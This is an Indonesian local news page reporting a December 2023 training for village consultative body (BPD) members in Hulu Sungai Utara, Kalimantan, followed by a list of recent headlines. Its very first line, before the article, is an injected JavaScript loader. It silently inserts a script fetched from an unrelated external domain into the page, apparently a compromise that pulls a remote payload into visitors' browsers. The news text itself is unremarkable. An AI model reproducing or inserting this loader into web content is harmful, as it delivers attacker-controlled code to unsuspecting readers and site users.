(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Pj Bupati HSU: Kapasitas Anggota BPD Harus Makin Profesional


KANALKALIMANTAN.COM, AMUNTAI – Pembekalan peningkatan kapasitas dan kemampuan anggota Badan Permusyawaratan Desa (BPD) se Kabupaten HSU digelar Dinas Pemberdayaan Masyarakat dan Desa (DPMD) HSU agar semakin profesional.

“Sinergi yang baik antara anggota BPD, Kepala Desa dan aparatur desa dalam membangun desa, meningkatkan kapasitas SDM anggota BPD, serta dapat membawa nuansa baru bagi desa,” kata Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan sosialisasi BPD, Kamis (14/12/2023).

Zakly juga berharap anggota BPD se Kabupaten HSU semakin profesional dalam pelaksanaan fungsi sebagai anggota BPD membahas dan menyepakati rancangan peraturan desa bersama kepala desa. Menampung dan menyalurkan aspirasi masyarakat desa dan melakukan pengawasan kinerja kepala desa.

“Saya mengingatkan kepada anggota BPD bahwa profesionalisme dan integritas anggota BPD sangat penting dalam membangun Desa, menyamakan cara pendang dalam membangun desa, hindari konflik dan arogansi, perkuat koordinasi dan tingkatkan kualitas SDM aparatur anggota BPD,” imbuhnya.

Baca juga: “Cempedak Kupas” Juara Sayembara Desain Motif Sasirangan

Pj Bupati HSU Zakly Aswan memberikan arahan kepada anggota BPD se Kabupaten HSU dalam sosialisasi BPD yang digelar DPMD HSU di Aula Dr KH Idham Chalid. Foto: diskominfohsu

Sementara itu, Kepala DPMD HSU, Rijali Hadi mengatakan, kegiatan ini memberikan pembekalan tugas bagi anggota BPD se Kabupaten HSU selama dua hari, 13-14 Desember 2023.

“Tiga tugas BPD antara lain, membuat dan menyepakati dan menetapkan peraturan desa bersama kepala desa, menerima dan mengelola aspirasi masyarakat dan melakukan pengawasan terhadap kinerja kepala desa,” jelasnya.

Baca juga: Vonis 4 Tahun Dua Terdakwa Korupsi Kredit Fiktif Bank di Banjarbaru

Dirinya menambahkan, dasar hukum kegiatan ini adalah peraturan menteri dalam negri nomor 110 Tahun 2016 tentang BPD yang di dalamnya mengatur tentang pelaksanaan tugas BPD.

Melalui sosialisasi ini, para peserta diberikan pembekalan terkait pengawasan BPD dalam pengelolaan keuangan Desa oleh Inspektorat HSU,  penyusunan peraturan Desa oleh bagian Hukum Sekretaris Daerah Kabupaten HSU serta pelaksanaan tugas BPD oleh DPMD HSU. (Kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.